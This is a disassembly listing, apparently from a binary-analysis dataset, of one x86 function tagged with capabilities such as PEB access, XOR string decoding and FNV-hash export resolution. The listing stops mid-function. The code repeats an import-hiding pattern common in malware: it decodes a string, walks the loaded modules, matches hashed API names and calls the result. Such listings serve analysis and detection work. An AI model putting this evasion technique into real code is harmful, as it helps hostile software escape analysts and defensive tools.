Function at 0x4215d0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x4e4
push esi
mov eax, ecx
mov edx, 1
push edi
mov dword [ebp - 0xac], eax
call fcn.00420e50
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov dword [ebp - 0x18], eax
xor ecx, ecx
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x4d0], xmm0
nop word [eax + eax]
xor byte [ebp + ecx - 0x4d0], 7
inc ecx
cmp ecx, 0x10
jl 0x421620
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x54], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x58], ecx
cmp ecx, edi
je 0x4216bb
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4216bb
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x64], ecx
dec edx
mov edi, 0x236dbb3d
mov dword [ebp - 0x24], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x4216b1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421682
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x24]
cmp edi, 0x6510fdad
je 0x4216c2
mov ecx, dword [ebp - 0x64]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421662
mov eax, dword [eax]
jmp 0x42163a
mov eax, dword [ebp - 0x58]
mov esi, dword [ebp - 0x54]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
lea eax, [eax + edx*2]
movzx eax, word [eax + esi]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x4d0]
add eax, esi
push ecx
call eax
cmp dword [ebp - 0x18], 0
jne 0x4216f6
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov byte [ebp - 1], 0
xor eax, eax
movups xmmword [ebp - 0x300], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x300], 7
inc eax
cmp eax, 0x10
jl 0x421710
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x54], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x58], ecx
cmp ecx, edi
je 0x4217ab
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4217ab
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x64], ecx
dec edx
mov edi, 0x12044743
mov dword [ebp - 0x24], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x4217a1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421772
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x24]
cmp edi, 0xb6ecd5f
je 0x4217b2
mov ecx, dword [ebp - 0x64]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421752
mov eax, dword [eax]
jmp 0x42172a
mov eax, dword [ebp - 0x58]
mov esi, dword [ebp - 0x54]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x300]
add eax, esi
push ecx
call eax
mov eax, dword [ebp - 0x18]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov byte [ebp - 1], 0
mov eax, dword [eax + 4]
mov dword [ebp - 0x64], eax
xor eax, eax
movups xmmword [ebp - 0x310], xmm0
xor byte [ebp + eax - 0x310], 7
inc eax
cmp eax, 0x10
jl 0x4217f1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x60], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x54], ecx
cmp ecx, edi
je 0x42188c
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x42188c
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x58], ecx
dec edx
mov edi, 0xf7ed124d
mov dword [ebp - 0x24], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x421882
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421853
mov eax, dword [ebp - 0x30]
cmp edi, 0x707c47dd
je 0x421893
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x58]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421833
mov eax, dword [eax]
jmp 0x42180b
mov esi, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x60]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x310]
add eax, edx
push ecx
call eax
mov eax, dword [ebp - 0x18]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov byte [ebp - 1], 0
mov eax, dword [eax]
mov dword [ebp - 0x2ec], eax
xor eax, eax
movups xmmword [ebp - 0x320], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x320], 7
inc eax
cmp eax, 0x10
jl 0x4218e0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x60], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x54], ecx
cmp ecx, edi
je 0x42197b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x42197b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x58], ecx
dec edx
mov edi, 0xdfbc52da
mov dword [ebp - 0x24], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x421971
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421942
mov eax, dword [ebp - 0x30]
cmp edi, 0x1be07dce
je 0x421982
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x58]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421922
mov eax, dword [eax]
jmp 0x4218fa
mov esi, dword [ebp - 0x54]
mov edx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x24]
mov eax, dword [esi + 0x24]
add eax, edx
movzx ecx, word [eax + ecx*2]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x320]
add eax, edx
push ecx
call eax
cmp dword [ebp - 0x64], 0
mov dword [ebp - 0x30], 0
jbe 0x43117b
nop dword [eax]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov byte [ebp - 1], 0
xor eax, eax
movups xmmword [ebp - 0x330], xmm0
xor byte [ebp + eax - 0x330], 7
inc eax
cmp eax, 0x10
jl 0x4219d4
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x3c], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x14], ecx
cmp ecx, edi
je 0x421a6f
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x421a6f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x5c], ecx
dec edx
mov edi, 0x148b974d
mov dword [ebp - 0x2c], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x421a65
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421a36
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x2c]
cmp edi, 0x8f2014dd
je 0x421a76
mov ecx, dword [ebp - 0x5c]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421a16
mov eax, dword [eax]
jmp 0x4219ee
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x330]
add eax, esi
push ecx
call eax
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x2ec]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov dword [ebp - 0x18], eax
xor eax, eax
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x340], xmm0
nop
xor byte [ebp + eax - 0x340], 7
inc eax
cmp eax, 0x10
jl 0x421ac0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x3c], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x14], ecx
cmp ecx, edi
je 0x421b5b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x421b5b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x5c], ecx
dec edx
mov edi, 0xbb6c12d0
mov dword [ebp - 0x2c], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x421b51
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421b22
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x2c]
cmp edi, 0xe30acb98
je 0x421b62
mov ecx, dword [ebp - 0x5c]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421b02
mov eax, dword [eax]
jmp 0x421ada
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
lea eax, [eax + edx*2]
movzx eax, word [eax + esi]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x340]
add eax, esi
push ecx
call eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x421b97
cmp dword [eax + 0x10], 0
je 0x43117b
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0xac]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov dword [ebp - 0x5c], eax
xor eax, eax
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x350], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x350], 7
inc eax
cmp eax, 0x10
jl 0x421bc0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x3c], ecx
cmp ecx, edi
je 0x421c5b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x421c5b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x14], ecx
dec edx
mov edi, 0x902ff314
mov dword [ebp - 0x2c], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x421c51
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421c22
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x2c]
cmp edi, 0x2aaa0bbc
je 0x421c62
mov ecx, dword [ebp - 0x14]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421c02
mov eax, dword [eax]
jmp 0x421bda
mov eax, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x350]
add eax, esi
push ecx
call eax
mov eax, dword [ebp - 0x18]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov byte [ebp - 1], 0
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x2e8], eax
xor eax, eax
movups xmmword [ebp - 0x360], xmm0
xor byte [ebp + eax - 0x360], 7
inc eax
cmp eax, 0x10
jl 0x421ca4
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x3c], ecx
cmp ecx, edi
je 0x421d3f
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x421d3f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x14], ecx
dec edx
mov edi, 0xb64d9f4
mov dword [ebp - 0x2c], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x421d35
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421d06
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x2c]
cmp edi, 0xf9feb29c
je 0x421d46
mov ecx, dword [ebp - 0x14]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421ce6
mov eax, dword [eax]
jmp 0x421cbe
mov eax, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x360]
add eax, esi
push ecx
call eax
mov eax, dword [ebp - 0x18]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov byte [ebp - 1], 0
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
xor eax, eax
movups xmmword [ebp - 0x370], xmm0
xor byte [ebp + eax - 0x370], 7
inc eax
cmp eax, 0x10
jl 0x421d84
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 8], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x1c], ecx
cmp ecx, edi
je 0x421e1f
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x421e1f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x14], ecx
dec edx
mov edi, 0xa0004a45
mov dword [ebp - 0x2c], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x421e15
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421de6
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x2c]
cmp edi, 0x91e86b65
je 0x421e26
mov ecx, dword [ebp - 0x14]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421dc6
mov eax, dword [eax]
jmp 0x421d9e
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x370]
add eax, esi
push ecx
call eax
cmp dword [ebp - 0x3c], 0
jne 0x421e57
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x3c], eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov byte [ebp - 1], 0
xor eax, eax
movups xmmword [ebp - 0x380], xmm0
nop dword [eax + eax]
xor byte [ebp + eax - 0x380], 7
inc eax
cmp eax, 0x10
jl 0x421e70
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x18], ecx
cmp ecx, edi
je 0x421f0b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x421f0b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x14], ecx
dec edx
mov edi, 0x3b529d13
mov dword [ebp - 0x2c], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x421f01
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421ed2
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x2c]
cmp edi, 0x763ba40f
je 0x421f12
mov ecx, dword [ebp - 0x14]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421eb2
mov eax, dword [eax]
jmp 0x421e8a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x380]
add eax, esi
push ecx
call eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov dword [ebp - 0x2c], 0
xor eax, eax
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x4e0], xmm0
nop
xor byte [ebp + eax - 0x4e0], 7
inc eax
cmp eax, 0x10
jl 0x421f50
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 8], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x1c], ecx
cmp ecx, edi
je 0x421feb
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x421feb
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x14], ecx
dec edx
mov edi, 0x5b0fef27
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x421fe1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x421fb2
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x18]
cmp edi, 0x367cbbc3
je 0x421ff2
mov ecx, dword [ebp - 0x14]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x421f92
mov eax, dword [eax]
jmp 0x421f6a
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x4e0]
add eax, esi
push ecx
call eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov dword [ebp - 0x24], 0
xor eax, eax
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x390], xmm0
nop
xor byte [ebp + eax - 0x390], 7
inc eax
cmp eax, 0x10
jl 0x422030
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x40], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 8], ecx
cmp ecx, edi
je 0x4220cb
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4220cb
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x14], ecx
dec edx
mov edi, 0xb0fb065a
mov dword [ebp - 0x1c], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x4220c1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x422092
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
cmp edi, 0x8f49fd4e
je 0x4220d2
mov ecx, dword [ebp - 0x14]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x422072
mov eax, dword [eax]
jmp 0x42204a
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0x40]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x390]
add eax, esi
push ecx
call eax
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x2e8]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov dword [ebp - 0x18], eax
xor eax, eax
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x3a0], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x3a0], 7
inc eax
cmp eax, 0x10
jl 0x422120
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x14], ecx
cmp ecx, edi
je 0x4221bb
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4221bb
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x40], ecx
dec edx
mov edi, 0xccc5c788
mov dword [ebp - 8], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x4221b1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x422182
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 8]
cmp edi, 0xcb8dbaa0
je 0x4221c2
mov ecx, dword [ebp - 0x40]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x422162
mov eax, dword [eax]
jmp 0x42213a
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3a0]
add eax, esi
push ecx
call eax
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x3c]
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov dword [ebp - 0x14], eax
xor eax, eax
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x3b0], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x3b0], 7
inc eax
cmp eax, 0x10
jl 0x422210
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x40], ecx
cmp ecx, edi
je 0x4222ab
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4222ab
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0x20], ecx
dec edx
mov edi, 0xfea42dc5
mov dword [ebp - 8], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x4222a1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x422272
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 8]
cmp edi, 0x1e3e9ae5
je 0x4222b2
mov ecx, dword [ebp - 0x20]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x422252
mov eax, dword [eax]
jmp 0x42222a
mov eax, dword [ebp - 0x40]
mov esi, dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3b0]
add eax, esi
push ecx
call eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
test eax, eax
